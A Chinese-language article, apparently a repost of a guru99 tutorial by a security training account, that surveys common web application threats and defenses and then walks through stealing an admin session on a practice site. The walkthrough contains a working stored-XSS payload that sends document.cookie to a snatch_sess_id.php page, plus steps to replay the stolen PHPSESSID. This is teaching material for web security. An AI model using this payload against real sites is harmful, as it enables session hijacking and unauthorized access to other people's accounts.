如何破解网站
已认证的官方帐号
已关注
16 人赞同了该文章
信息时代促使许多组织开发基于 Web 的应用程序,用户可以在线使用该程序与组织进行交互。Web 应用程序代码编写得不够严谨的话,可能会被他人利用来对敏感数据和 Web 服务器进行未经授权的访问。
本文涉及的主题
-
什么是 Web 应用程序?什么是网络威胁?
-
如何保护网站免受黑客攻击?
-
黑客视角:如何破解网站!
什么是Web应用程序?什么是网络威胁?
Web 应用程序(aka网站)是基于客户端 - 服务器模型的应用程序。服务器提供数据库访问和业务逻辑。它托管在 Web 服务器上。客户端应用程序在客户端 Web 浏览器上运行。Web 应用程序通常用 Java,C#和http://VB.Net,PHP,ColdFusion 标记语言等语言编写。Web 应用程序中使用的数据库引擎包括 MySQL,MS SQL Server,PostgreSQL,SQLite等等。
大多数 Web 应用程序都托管在可通过 Internet 访问的公共服务器上。这使得它们易于访问,也易于受到攻击。以下是常见的 Web 应用程序威胁:
-
SQL注入 - 绕过登录算法,破坏数据等。
-
拒绝服务攻击 - 拒绝合法用户访问资源。
-
跨站点脚本XSS - 注入可在客户端浏览器上执行的代码。
-
Cookie /会话中毒 - 由攻击者修改 Cookie /会话数据以获取未经授权的访问。
-
表单篡改 - 修改表单数据,例如电子商务应用程序中的价格,以便攻击者可以以较低的价格获得商品。
-
代码注入 - 注入可在服务器上执行的PHP,Python等代码。代码可以安装后门,泄露敏感信息等。
-
破坏 - 修改网站上显示的页面,并将所有页面请求重定向到包含攻击者消息的单个页面。
如何保护网站免受黑客攻击?
可以采用以下策略来保护网站免受 Web 服务器攻击。
-
SQL注入 - 在将用户参数提交到数据库进行处理之前清理和验证用户参数有助于减少通过SQL注入攻击的可能性。MS SQL Server,MySQL 等数据库引擎支持参数和预处理语句。它们比传统的 SQL 语句更安全。
-
拒绝服务攻击 -如果攻击是简单的 DoS,防火墙可用于从可疑 IP 地址中删除流量。正确配置网络和入侵检测系统有助于降低 DoS 攻击的可能性。
-
跨站点脚本 -验证和清理标头,通过 URL 传递参数,表单参数和隐藏值可以帮助减少 XSS 攻击。
-
Cookie /会话中毒 - 可以通过加密 Cookie 的内容,在一段时间后将 Cookie 设置为超时,将 Cookie 与用于创建 Cookie 客户端的 IP 地址相关联来防止这种情况。
-
表单篡改 -这可以在运行之前通过验证和验证用户输入来防止。
-
代码注入 -可以通过将所有参数视为数据而不是可执行代码来防止这种情况。可以使用清理和验证的方式来实现此目的。
-
破坏 -在开发 Web 应用程序时,无论是操作系统,Web 服务器软件还是最好的安全实践都应该有正确的配置。
破解网站
在这个实际场景中,我们将劫持位于 www.techpanda.org 的 Web 应用程序的用户会话。我们将使用跨站点脚本来读取 cookie 会话 ID,然后使用它来模拟合法的用户会话。
假设是攻击者可以访问 Web 应用程序,并且他想劫持使用相同应用程序的其他用户的会话。假设攻击者的访问帐户是有限访问帐户,此攻击的目标可能是获取对 Web 应用程序的管理员访问权限。
开始
-
出于实践目的,强烈建议使用 SQL 注入获取访问权限。有关如何执行此操作的详细信息,可在网上查阅。
-
登录电子邮件是 admin@google.com ,密码是 Password2010
-
如果您已成功登录,内容将是这样的:
-
单击“添加新联系人”
-
输入以下作为名字
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
这里,上面的代码使用了JavaScript。它添加了一个带有 onclick 事件的超链接。当毫无戒心的用户单击该链接时,该事件将检索 PHP cookie 会话 ID 并将其与 URL 中的会话 ID 一起发送到 snatch_sess_id.php 页面。
-
输入其余详细信息,如下所示
-
单击“保存更改”
-
现在看起来是这样的:
-
由于跨站点脚本代码存储在数据库中,因此每次具有访问权限的用户登录时都会加载它。
-
假设管理员登录并点击显示为Dark的超链接。
-
他/她将获得URL中显示会话ID的窗口。
注意:① 脚本可能会将值发送到存储 PHPSESSID 的某个远程服务器,然后用户重定向回网站,就好像什么也没发生一样。
② 您获得的值可能与本文中的值不同,但概念是相同的。
使用 Firefox 和 Tamper Data 插件进行会话模拟
下面的流程图显示了完成此练习必须采取的步骤。
-
这部分需要 Firefox Web 浏览器和 Tamper Data 插件。
-
打开 Firefox 并安装 add,如下图所示:
-
搜索“tamper data”,然后单击安装,如上所示。
-
单击接受并安装...
-
安装完成后,单击立即重新启动
-
如果未显示,请在 Firefox 中启用菜单栏
-
单击工具菜单,然后选择“Tamper Data”,如下所示:
-
您将获得以下窗口。注意:如果Windows不为空,请单击清除按钮。
-
单击 Start Tamper 菜单
-
切换回 Firefox Web 浏览器,输入 http://www.techpanda.org/dashboard.php,然后按回车键加载页面
-
您将从Tamper Data 中弹出以下内容
-
弹出窗口有三个选项。“Tamper”选项允许您在将 HTTP 标头信息提交到服务器之前修改它。
-
点击它.
-
将看到以下窗口:
-
复制从攻击 URL 复制的 PHP 会话 ID,并在等号后粘贴它。你的 value 现在应该是这样的:
PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2
-
单击“确定”按钮
-
再次获得 Tamper 数据弹出窗口
-
取消选中“继续篡改”复选框?
-
完成后单击“提交”按钮
-
您应该能够看到如下所示:
注意:我们没有登录,而是使用跨站点脚本检索的 PHPSESSID 值来进行的模拟登录会话。
总结
-
Web 应用程序基于服务器 - 客户端模型。客户端使用 Web 浏览器访问服务器上的资源。
-
Web 应用程序通常通过 Internet 访问,这使他们容易受到攻击。
-
Web 应用程序威胁包括 SQL 注入,代码注入,XSS,污损,Cookie 中毒等。
-
开发 Web 应用程序时的良好安全策略有利于确保它们的安全。
来源:https://www.guru99.com/how-to-hack-website.html
二向箔安全学院:主要专注于 Web 安全领域,团队曾为 Google、Apple、微软、W3C、Adobe、腾讯、阿里等输出过安全能力。致力于推进网络空间安全领域知识的创新和传播,为广大信安技术人士提供最前沿的安全技能。
微信公众号:二向箔安全(twosecurity),这里有最新的课程资讯,优惠活动及免费干货分享。
编辑于 2019-09-04
赞同 16添加评论
分享
收藏